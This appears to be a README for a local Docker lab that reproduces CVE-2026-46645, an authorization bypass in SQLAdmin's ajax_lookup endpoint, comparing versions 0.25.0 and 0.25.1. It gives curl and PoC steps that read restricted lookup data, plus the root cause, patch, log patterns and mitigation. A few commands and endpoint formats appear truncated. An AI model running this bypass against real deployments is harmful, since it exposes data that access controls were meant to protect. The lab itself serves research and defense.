## https://sploitus.com/exploit?id=8E7576F6-458D-5824-819E-FC7C2BCB6824
# CVE-2026-46645 - SQLAdmin ajax_lookup Authorization Bypass
## Executive Summary
This repository contains a local Docker lab for reproducing CVE-2026-46645, an authorization bypass vulnerability affecting SQLAdmin's `ajax_lookup` endpoint.
SQLAdmin is an admin interface for SQLAlchemy models in Starlette and FastAPI applications. The vulnerable behavior occurs when an application restricts a `ModelView` with `is_accessible(request)`, but SQLAdmin's `ajax_lookup` route does not enforce the same access-control decision before returning lookup results.
This lab compares two SQLAdmin versions:
| Service | SQLAdmin version | Purpose | URL |
| --------- | ---------------: | ------------------------- | ----------------------- |
| `vuln` | `0.25.0` | Vulnerable target | `http://127.0.0.1:8001` |
| `patched` | `0.25.1` | Patched comparison target | `http://127.0.0.1:8002` |
The demonstrated vulnerability chain is:
```text
Authenticated low-privileged user
โ restricted SQLAdmin ModelView
โ ModelView.is_accessible(request) returns False
โ user directly requests the ajax_lookup endpoint
โ SQLAdmin 0.25.0 returns relationship lookup data
โ SQLAdmin 0.25.1 blocks the same request with HTTP 403
```
The lab intentionally uses a simple `Report` / `SecretProject` data model to make the authorization bypass easy to understand. These model names are not the root cause of the vulnerability. They are only used to create a controlled reproduction condition.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin's `ajax_lookup` endpoint is the affected component. | Public advisory describes the affected endpoint format as `GET /{identity}/ajax/lookup?name=&term=`. | Run the PoC and observe requests to `/admin/report/ajax/lookup?name=project&term=Secret`. |
| SQLAdmin `0.25.0` is used as the vulnerable comparison target. | The lab installs `sqladmin==0.25.0` in the `vuln` container. | Run `docker compose exec -T vuln python -m pip show sqladmin`. |
| SQLAdmin `0.25.1` is used as the patched comparison target. | Public advisory and release notes identify `0.25.1` as the fixed version. | Run `docker compose exec -T patched python -m pip show sqladmin`. |
| The root cause is in SQLAdmin's upstream `Admin.ajax_lookup()` route. | The patch adds missing authentication and `is_accessible(request)` enforcement to `ajax_lookup()`. | Inspect `Admin.ajax_lookup()` inside both containers with the commands in this README. |
| The lab creates a restricted `ModelView`. | `ReportAdmin.is_accessible(request)` intentionally returns `False`. | Inspect `app/main.py`. |
| The PoC uses an authenticated session. | The PoC first logs in to `/admin/login`, keeps the session cookie, then requests `ajax_lookup`. | Run `python3 poc/poc.py --base-url http://127.0.0.1:8001`. |
| The vulnerable signal is data exposure. | SQLAdmin `0.25.0` returns HTTP 200 and JSON lookup results from a restricted view. | The vulnerable target should return `Secret Project Alpha` and `Secret Project Beta`. |
| The patched signal is access denial. | SQLAdmin `0.25.1` returns HTTP 403 for the same authenticated request. | The patched target should return `403 Forbidden`. |
## Assumptions and Unknowns
This lab uses `sqladmin==0.25.0` as the vulnerable baseline and `sqladmin==0.25.1` as the patched baseline.
The lab focuses on the authorization bypass condition where:
```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
```
The lab does not attempt to reproduce every possible SQLAdmin deployment pattern. It intentionally creates a small Starlette application with one restricted admin view so the behavior difference between vulnerable and patched versions is easy to verify.
The `Report` and `SecretProject` models are lab-only objects. They are not part of SQLAdmin itself.
The PoC does not attempt privilege escalation, data modification, session theft, external callbacks, persistence, or attacks against non-lab systems.
## Root Cause Summary
The root cause is in SQLAdmin's upstream `Admin.ajax_lookup()` route, not in this lab's application code.
SQLAdmin allows developers to restrict access to admin views by overriding:
```python
ModelView.is_accessible(request)
```
Other admin routes are expected to enforce this access-control decision before allowing the request to continue. For example, routes such as list, create, details, delete, edit, and export check whether the current request is allowed to access the target `ModelView`.
The vulnerable `ajax_lookup` route did not enforce the same access-control decision.
The `ajax_lookup` endpoint is used by SQLAdmin's `form_ajax_refs` feature to dynamically load relationship values. Its endpoint format is:
```text
/admin//ajax/lookup?name=&term=
```
In the vulnerable version, `ajax_lookup()` resolves the target `ModelView`, reads the lookup field name and search term from the query string, then calls the AJAX loader and returns JSON results. The missing security step is that it does not first verify whether the current request is allowed to access that `ModelView`.
The security impact is that an authenticated user may be blocked from accessing a restricted admin view through normal UI routes, but can still directly request the AJAX lookup endpoint for that view and receive relationship lookup data.
SQLAdmin `0.25.1` fixes this by enforcing access control inside `ajax_lookup()`. The patched route checks `model_view.is_accessible(request)` and returns HTTP 403 when the target view is not accessible.
This lab defines `ReportAdmin.is_accessible(request)` to return `False` only to reproduce the vulnerable condition. The lab code is not the root cause. It is a controlled test harness that proves whether SQLAdmin's upstream `ajax_lookup()` route respects the access-control decision.
Expected behavior difference:
```text
sqladmin 0.25.0 -> HTTP 200 with JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
```
## Source Patch Summary
The meaningful upstream patch is the addition of authentication and authorization enforcement to `Admin.ajax_lookup()`.
The patched behavior is equivalent to:
```python
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
```
The key authorization check is:
```python
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
```
The lab demonstrates that this check is absent from the vulnerable version and present in the patched version.
## Lab Architecture
The lab runs two isolated Starlette applications through Docker Compose.
```text
.
โโโ app/
โ โโโ __init__.py
โ โโโ main.py
โโโ docker-compose.yml
โโโ patched/
โ โโโ Dockerfile
โโโ poc/
โ โโโ poc.py
โโโ README.md
โโโ requirements/
โ โโโ patched.txt
โ โโโ vuln.txt
โโโ vuln/
โโโ Dockerfile
```
The two services run the same application code but install different SQLAdmin versions:
| Service | Package version | Port mapping |
| --------- | -----------------: | ------------------------ |
| `vuln` | `sqladmin==0.25.0` | `127.0.0.1:8001 -> 8000` |
| `patched` | `sqladmin==0.25.1` | `127.0.0.1:8002 -> 8000` |
The application creates two SQLAlchemy models:
```text
SecretProject
Report
```
`Report` has a relationship to `SecretProject`:
```text
Report.project -> SecretProject
```
`ReportAdmin` defines an AJAX relationship lookup:
```python
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
```
The restricted admin view is:
```python
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
```
This intentionally creates the condition needed to test whether SQLAdmin's `ajax_lookup()` route enforces `is_accessible()`.
The vulnerable endpoint used by the PoC is:
```text
/admin/report/ajax/lookup?name=project&term=Secret
```
Default lab credentials:
```text
username: analyst
password: lab-password
```
## Requirements
* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Python `requests` package for running the PoC from the host
* `curl` for manual HTTP reproduction
* Internet access during image build to install Python packages from PyPI
Install the PoC dependency on the host if needed:
```bash
python3 -m pip install requests
```
## Quick Start
Build and start the lab:
```bash
docker compose down --remove-orphans
docker compose up --build -d
```
Check container status:
```bash
docker compose ps
```
Expected exposed services:
```text
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
```
Check health endpoints:
```bash
curl -i http://127.0.0.1:8001/health
curl -i http://127.0.0.1:8002/health
```
Both should return:
```json
{"status":"ok"}
```
Open the admin UI in a browser if desired:
```text
http://127.0.0.1:8001/admin
http://127.0.0.1:8002/admin
```
Login credentials:
```text
analyst / lab-password
```
## PoC Usage
Run the PoC against the vulnerable service:
```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
```
Run the same PoC against the patched service:
```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
```
The PoC performs these steps:
```text
1. Send POST /admin/login with the lab credentials.
2. Keep the returned session cookie.
3. Send GET /admin/report/ajax/lookup?name=project&term=Secret.
4. Print the HTTP status, content type, response body, and interpretation.
```
The PoC intentionally prints the request and response flow so the authorization bypass is visible to the reader.
## Manual HTTP Reproduction with curl
You can reproduce the vulnerability manually without using `poc/poc.py`.
This is useful when you want to show the exact HTTP flow:
```text
login
โ save session cookie
โ send ajax_lookup request
โ compare vulnerable and patched responses
```
### Vulnerable Target
Set the vulnerable target URL:
```bash
TARGET="http://127.0.0.1:8001"
COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
```
Login as the lab user and save the session cookie:
```bash
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
```
Send the restricted `ajax_lookup` request:
```bash
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
```
Expected vulnerable result:
```http
HTTP/1.1 200 OK
content-type: application/json
```
Expected body:
```json
{
"results": [
{
"id": "1",
"text": "Secret Project Alpha"
},
{
"id": "2",
"text": "Secret Project Beta"
}
]
}
```
This confirms the vulnerable behavior because the request is authenticated, `ReportAdmin.is_accessible(request)` returns `False`, but SQLAdmin `0.25.0` still returns lookup data.
### Patched Target
Set the patched target URL:
```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
```
Login as the same lab user:
```bash
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
```
Send the same restricted `ajax_lookup` request:
```bash
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
```
Expected patched result:
```http
HTTP/1.1 403 Forbidden
```
This confirms the patched behavior because SQLAdmin `0.25.1` enforces the missing `ModelView.is_accessible(request)` check inside `ajax_lookup()`.
### One-line Comparison
Vulnerable service:
```bash
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
```
Patched service:
```bash
curl -s -L \
-c /tmp/cve-2026-46645-patched.cookies \
-b /tmp/cve-2026-46645-patched.cookies \
-X POST http://127.0.0.1:8002/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-patched.cookies \
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
```
Expected comparison:
```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
```
## Expected Output
Vulnerable target:
```text
================================================================================
Target: sqladmin 0.25.0 vulnerable
================================================================================
Base URL : http://127.0.0.1:8001
Login URL : http://127.0.0.1:8001/admin/login
Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8001/admin/login
form username='analyst'
form password=
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8001/admin/
Cookies : {'session': ''}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 200
Content-Type : application/json
Body:
{
"results": [
{
"id": "1",
"text": "Secret Project Alpha"
},
{
"id": "2",
"text": "Secret Project Beta"
}
]
}
================================================================================
Step 3 - Interpretation
================================================================================
[VULNERABLE SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 200 and JSON results.
This means an authenticated user could query lookup data even though
ReportAdmin.is_accessible(request) returned False.
```
Patched target:
```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': ''}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
```
## How the PoC Works
The PoC uses the Python `requests` library and a persistent `requests.Session()` object.
First, it authenticates to SQLAdmin:
```text
POST /admin/login
```
with the lab credentials:
```text
analyst / lab-password
```
After login, the session object keeps the returned session cookie.
Then the PoC sends the restricted AJAX lookup request:
```text
GET /admin/report/ajax/lookup?name=project&term=Secret
```
In the lab application, this request targets `ReportAdmin`.
`ReportAdmin` is intentionally inaccessible:
```python
def is_accessible(self, request):
return False
```
This is the lab condition. It is not the upstream vulnerability.
The security question being tested is:
```text
Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
```
On SQLAdmin `0.25.0`, the endpoint returns HTTP 200 and JSON lookup results. This confirms the vulnerable behavior.
On SQLAdmin `0.25.1`, the endpoint returns HTTP 403. This confirms the patched behavior.
## Useful Verification Commands
Check running containers:
```bash
docker compose ps
```
Check service logs:
```bash
docker compose logs vuln patched
```
Check installed SQLAdmin versions:
```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
```
Expected versions:
```text
vuln -> Version: 0.25.0
patched -> Version: 0.25.1
```
Run the PoC again:
```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
```
```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
```
Save evidence output:
```bash
mkdir -p evidence
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable" \
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched" \
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
```
Inspect the installed vulnerable source:
```bash
docker compose exec -T vuln python - /ajax/lookup?name=&term=
```
For this lab, useful log indicators include:
```text
GET /admin/report/ajax/lookup?name=project&term=Secret
```
Expected vulnerable log pattern:
```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
```
Expected patched log pattern:
```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
```
Potential production monitoring ideas:
* review direct access to `/ajax/lookup` endpoints,
* compare lookup access against expected admin UI workflows,
* monitor repeated lookup terms from low-privileged accounts,
* review whether sensitive `ModelView` classes use `form_ajax_refs`,
* verify whether restricted model views are still exposed through relationship lookups.
## Mitigation and Patch Notes
Upgrade SQLAdmin to `0.25.1` or later.
The patch adds missing access-control enforcement to the `ajax_lookup` route. The patched endpoint checks whether the current request is allowed to access the target `ModelView`. If `is_accessible(request)` returns `False`, the request is blocked with HTTP 403.
Application-level hardening recommendations:
* upgrade SQLAdmin to a patched version,
* review all custom `ModelView.is_accessible()` implementations,
* avoid exposing sensitive relationship lookups through `form_ajax_refs` unless needed,
* test restricted admin views through both normal UI routes and AJAX lookup routes,
* monitor access to `/admin/*/ajax/lookup` endpoints,
* ensure admin authentication and session handling are configured correctly.
## Cleanup
Stop and remove containers and networks:
```bash
docker compose down --remove-orphans
```
Remove containers, networks, and anonymous volumes:
```bash
docker compose down -v --remove-orphans
```
Remove locally built images if desired:
```bash
docker image rm \
cve-2026-46645-sqladmin-vuln:0.25.0 \
cve-2026-46645-sqladmin-patched:0.25.1 \
2>/dev/null || true
```
Remove evidence files if desired:
```bash
rm -rf evidence/
```
## Safety Boundaries
This lab is for local security research and controlled demonstration only.
Do not run the PoC against systems you do not own or do not have permission to test.
Do not use real credentials, production secrets, or external targets in this lab.
The PoC is intentionally limited to local Docker services such as:
```text
http://127.0.0.1:8001
http://127.0.0.1:8002
```
The PoC does not include payloads for credential theft, data modification, persistence, lateral movement, or external callbacks.
The goal is to demonstrate one specific authorization bypass condition in a controlled environment:
```text
authenticated user
+ restricted ModelView
+ ajax_lookup request
+ vulnerable version returns data
+ patched version returns 403
```
## References
- GitHub Advisory Database: SQLAdmin Authorization Bypass on ajax_lookup
https://github.com/advisories/GHSA-54mc-gghv-4cfj
- OSV Advisory: GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
- SQLAdmin Release 0.25.1
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
- SQLAdmin Compare: 0.25.0 to 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
- SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
- SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
- SQLAdmin Authentication Tests
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
- SQLAdmin AJAX Tests
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
- PyPI: sqladmin
https://pypi.org/project/sqladmin/
- SQLAdmin GitHub Repository
https://github.com/smithyhq/sqladmin